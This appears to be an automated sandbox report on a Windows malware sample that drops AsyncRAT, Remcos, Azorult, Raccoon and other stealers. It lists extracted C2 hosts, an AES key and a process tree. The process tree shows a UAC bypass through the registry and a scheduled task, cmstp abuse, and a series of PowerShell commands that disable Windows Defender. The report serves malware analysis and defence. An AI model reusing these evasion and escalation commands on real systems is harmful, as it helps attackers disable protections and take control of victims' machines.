Overview

overview

10

Static

static

8

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

8

ฺฺฺK...ฺฺ

windows10_x64

3

ฺฺฺK...ฺฺ

windows10_x64

3

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

8

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

8

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

3

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

3

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

8

ฺฺฺK...ฺฺ

windows10_x64

1

ฺฺฺK...ฺฺ

windows10_x64

10

ฺฺฺK...ฺฺ

windows10_x64

10

Resubmissions

12-11-2021 18:04

211112-wnzb8aahhm 10

19-11-2020 10:08

201119-rhwlt38jrx 10

18-11-2020 17:26

201118-htd4fq29va 10

Analysis

  • max time kernel
    1801s
  • max time network
    1811s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    19-11-2020 10:08

Sharing

Copy URL
Twitter E-mail

General

  • Target

    ou55sg33s_1.exe

Score
10/10
asyncratazorultbetabotmodiloaderoskiraccoonremcos5e4db353b88c002ba6466c06437973619aad03b3backdoorbotnetdiscoveryevasioninfostealerpersistenceratspywarestealertrojan

Malware Config

Extracted

Family

raccoon

Botnet

5e4db353b88c002ba6466c06437973619aad03b3

Attributes
  • url4cnc

    https://telete.in/brikitiki

rc4.plain
rc4.plain

Extracted

Family

azorult

C2

http://195.245.112.115/index.php

Extracted

Family

asyncrat

Version

0.5.7B

C2

agentttt.ac.ug:6970

agentpurple.ac.ug:6970

Attributes
  • aes_key

    16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr

  • anti_detection

    false

  • autorun

    false

  • bdos

    false

  • delay

    Default

  • host

    agentttt.ac.ug,agentpurple.ac.ug

  • hwid

    3

  • install_file

  • install_folder

    %AppData%

  • mutex

    AsyncMutex_6SI8OkPnk

  • pastebin_config

    null

  • port

    6970

  • version

    0.5.7B

aes.plain

Extracted

Family

remcos

C2

taenaia.ac.ug:6969

agentpapple.ac.ug:6969

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

    ratasyncrat
  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • BetaBot

    Beta Bot is a Trojan that infects computers and disables Antivirus.

    trojanbackdoorbotnetbetabot
  • Contains code to disable Windows Defender ⋅ 10 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

    trojanmodiloader
  • Modifies Windows Defender Real-time Protection settings ⋅ 3 TTPs
    evasiontrojan
  • Modifies firewall policy service ⋅ 2 TTPs 8 IoCs
    evasion
  • Modifies security service ⋅ 2 TTPs 1 IoCs
    evasion
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

    infostealeroski
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • UAC bypass ⋅ 3 TTPs
    evasiontrojan
  • Async RAT payload ⋅ 3 IoCs
    rat
  • ModiLoader First Stage ⋅ 2 IoCs
  • Disables taskbar notifications via registry modification
    evasion
  • Disables use of System Restore points ⋅ 1 TTPs
    evasion
  • Downloads MZ/PE file
  • Executes dropped EXE ⋅ 31 IoCs
  • Sets file execution options in registry ⋅ 2 TTPs
    persistence
  • Sets service image path in registry ⋅ 2 TTPs
    persistence
  • Checks BIOS information in registry ⋅ 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL ⋅ 13 IoCs
  • Reads user/profile data of local email clients ⋅ 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers ⋅ 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification ⋅ 2 TTPs 3 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting ⋅ 2 TTPs
    spyware
  • Adds Run key to start application ⋅ 2 TTPs 13 IoCs
    persistence
  • Checks for any installed AV software in registry ⋅ 1 TTPs 2 IoCs
  • Checks installed software on the system ⋅ 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled ⋅ 1 TTPs 4 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) ⋅ 3 IoCs
  • Maps connected drives based on registry ⋅ 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of NtSetInformationThreadHideFromDebugger ⋅ 27 IoCs
  • Suspicious use of SetThreadContext ⋅ 15 IoCs
  • Enumerates physical storage devices ⋅ 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry ⋅ 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe ⋅ 2 IoCs
    evasion
  • Enumerates system info in registry ⋅ 2 TTPs 2 IoCs
  • Kills process with taskkill ⋅ 4 IoCs
    evasion
  • Modifies Internet Explorer Protected Mode ⋅ 1 TTPs 4 IoCs
  • Modifies Internet Explorer Protected Mode Banner ⋅ 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings ⋅ 1 TTPs 5 IoCs
    adwarespyware
  • Modifies registry key ⋅ 1 TTPs 3 IoCs
  • Modifies system certificate store ⋅ 2 TTPs 2 IoCs
    evasionspywaretrojan
  • NTFS ADS ⋅ 2 IoCs
  • Runs regedit.exe ⋅ 1 IoCs
  • Suspicious behavior: EnumeratesProcesses ⋅ 64 IoCs
  • Suspicious behavior: MapViewOfSection ⋅ 9 IoCs
  • Suspicious behavior: RenamesItself ⋅ 1 IoCs
  • Suspicious use of AdjustPrivilegeToken ⋅ 64 IoCs
  • Suspicious use of SetWindowsHookEx ⋅ 7 IoCs
  • Suspicious use of WriteProcessMemory ⋅ 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
    "C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
    Suspicious use of SetThreadContext
    Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
      "C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Checks processor information in registry
      Suspicious behavior: MapViewOfSection
      Suspicious behavior: RenamesItself
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4004
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        Modifies firewall policy service
        Checks BIOS information in registry
        Adds Run key to start application
        Drops desktop.ini file(s)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Checks processor information in registry
        Enumerates system info in registry
        Modifies Internet Explorer Protected Mode
        Modifies Internet Explorer Protected Mode Banner
        Modifies Internet Explorer settings
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
          /suac
          Executes dropped EXE
          Suspicious use of SetThreadContext
          Suspicious use of WriteProcessMemory
          PID:3636
          • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
            "C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe"
            Modifies firewall policy service
            Executes dropped EXE
            Checks for any installed AV software in registry
            Checks whether UAC is enabled
            Suspicious use of NtSetInformationThreadHideFromDebugger
            Checks processor information in registry
            Suspicious behavior: MapViewOfSection
            Suspicious use of AdjustPrivilegeToken
            Suspicious use of WriteProcessMemory
            PID:2604
            • C:\Windows\SysWOW64\regedit.exe
              "C:\Windows\SysWOW64\regedit.exe"
              Modifies security service
              Adds Run key to start application
              Modifies Internet Explorer settings
              Runs regedit.exe
              Suspicious use of AdjustPrivilegeToken
              PID:1224
        • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
          "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
          Executes dropped EXE
          Checks whether UAC is enabled
          Maps connected drives based on registry
          Suspicious use of NtSetInformationThreadHideFromDebugger
          Suspicious use of SetThreadContext
          Suspicious behavior: MapViewOfSection
          Suspicious use of SetWindowsHookEx
          Suspicious use of WriteProcessMemory
          PID:1256
          • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
            "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            Suspicious behavior: MapViewOfSection
            Suspicious use of SetWindowsHookEx
            Suspicious use of WriteProcessMemory
            PID:3784
            • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
              "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
              Executes dropped EXE
              Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:1892
          • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
            "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            Suspicious behavior: MapViewOfSection
            Suspicious use of SetWindowsHookEx
            Suspicious use of WriteProcessMemory
            PID:2192
            • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
              "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
              Executes dropped EXE
              Loads dropped DLL
              Suspicious use of NtSetInformationThreadHideFromDebugger
              Checks processor information in registry
              Suspicious use of WriteProcessMemory
              PID:188
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /pid 188 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\628675879158083\\* & exit
                Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /pid 188
                  Kills process with taskkill
                  Suspicious use of AdjustPrivilegeToken
                  PID:1676
          • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
            "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
            Executes dropped EXE
            Loads dropped DLL
            Drops desktop.ini file(s)
            Suspicious use of NtSetInformationThreadHideFromDebugger
            Suspicious use of WriteProcessMemory
            PID:3940
            • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
              "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              Suspicious use of AdjustPrivilegeToken
              PID:3192
              • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
                Executes dropped EXE
                PID:512
            • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
              "C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe"
              Executes dropped EXE
              Adds Run key to start application
              Suspicious use of SetThreadContext
              Modifies system certificate store
              PID:3900
              • C:\Windows\SysWOW64\svchost.exe
                "C:\Windows\System32\svchost.exe"
                PID:4960
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\ZvOXjtso.bat" "
                  PID:420
                  • C:\Windows\SysWOW64\reg.exe
                    reg delete hkcu\Environment /v windir /f
                    Modifies registry key
                    PID:4520
                  • C:\Windows\SysWOW64\reg.exe
                    reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
                    Modifies registry key
                    PID:1940
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
                    PID:4620
                  • C:\Windows\SysWOW64\reg.exe
                    reg delete hkcu\Environment /v windir /f
                    Modifies registry key
                    PID:5000
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\ZvOXjtso.bat" "
                  PID:4132
              • C:\Program Files (x86)\internet explorer\ieinstal.exe
                "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                PID:1888
            • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
              "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              Suspicious use of AdjustPrivilegeToken
              PID:992
              • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
                Executes dropped EXE
                Suspicious behavior: EnumeratesProcesses
                Suspicious use of AdjustPrivilegeToken
                Suspicious use of SetWindowsHookEx
                PID:1548
                • \??\c:\windows\SysWOW64\cmstp.exe
                  "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\ia3j3zrx.inf
                  PID:3444
            • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
              "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:644
              • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
                Executes dropped EXE
                Windows security modification
                PID:2520
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" Get-MpPreference -verbose
                  PID:1464
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
              PID:3880
              • C:\Windows\SysWOW64\timeout.exe
                timeout /T 10 /NOBREAK
                Delays execution with timeout.exe
                PID:2324
        • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
          "C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe"
          Executes dropped EXE
          Adds Run key to start application
          Checks whether UAC is enabled
          Maps connected drives based on registry
          Suspicious use of NtSetInformationThreadHideFromDebugger
          Suspicious use of SetThreadContext
          PID:2936
          • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
            "C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            PID:1012
            • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
              "C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:4956
              • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                "{path}"
                Executes dropped EXE
                Loads dropped DLL
                Checks processor information in registry
                PID:4528
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 4528 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\090407618315232\\* & exit
                  PID:4500
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /pid 4528
                    Kills process with taskkill
                    PID:3108
            • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
              "{path}"
              Executes dropped EXE
              PID:4208
          • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
            "{path}"
            Executes dropped EXE
            PID:2764
          • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
            "{path}"
            Executes dropped EXE
            Loads dropped DLL
            Drops desktop.ini file(s)
            PID:360
            • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
              "C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:4876
              • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
                "C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe"
                Executes dropped EXE
                PID:4972
            • C:\Users\Admin\AppData\Local\Temp\oGMCJJj985.exe
              "C:\Users\Admin\AppData\Local\Temp\oGMCJJj985.exe"
              Executes dropped EXE
              PID:4476
              • C:\Program Files (x86)\internet explorer\ieinstal.exe
                "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                PID:4184
            • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
              "C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:4532
              • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
                "C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe"
                Executes dropped EXE
                Suspicious use of SetWindowsHookEx
                PID:3700
                • \??\c:\windows\SysWOW64\cmstp.exe
                  "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\gqmczy35.inf
                  PID:4656
            • C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe
              "C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:5084
              • C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe
                "C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe"
                Executes dropped EXE
                Windows security modification
                PID:4176
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" Get-MpPreference -verbose
                  PID:4964
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe"
              PID:4436
              • C:\Windows\SysWOW64\timeout.exe
                timeout /T 10 /NOBREAK
                Delays execution with timeout.exe
                PID:4856
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    PID:3888
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Windows\temp\mpmheacv.exe
      PID:2316
      • C:\Windows\temp\mpmheacv.exe
        C:\Windows\temp\mpmheacv.exe
        Executes dropped EXE
        PID:1236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          PID:3876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
          PID:400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          PID:3400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          PID:1340
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
          PID:3660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          PID:3236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          PID:4148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          PID:4240
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          PID:4348
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          PID:4472
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          PID:4548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
          PID:4688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          PID:4784
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cmstp.exe /F
      Kills process with taskkill
      PID:2244
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Windows\temp\ynxywetm.exe
      PID:4364
      • C:\Windows\temp\ynxywetm.exe
        C:\Windows\temp\ynxywetm.exe
        Executes dropped EXE
        PID:2132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          PID:4316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
          PID:4916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          PID:4808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          PID:3128
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
          PID:500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          PID:1144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          PID:4268
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          PID:3428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          PID:5028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          PID:4608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          PID:4992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
          PID:5224
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          PID:5344
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cmstp.exe /F
      Kills process with taskkill
      PID:5012

Network

MITRE ATT&CK Matrix

Collection

Command and Control

    Credential Access

    Defense Evasion

    Discovery

    Execution

      Exfiltration

        Impact

        Initial Access

          Lateral Movement

            Persistence

            Privilege Escalation

            Replay Monitor

            00:00 00:00

            Downloads

            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\mozglue.dll
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\nss3.dll
              Download Submit
            • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\softokn3.dll
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UrXJ4xouC3.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WxzzZNQHI3.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZSZAUJV5RA.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\bEAuR4J6Mp.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lbZoNDahtD.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\r4smJnFUj3.exe.log
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\A3FBG8XH.cookie
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Download Submit
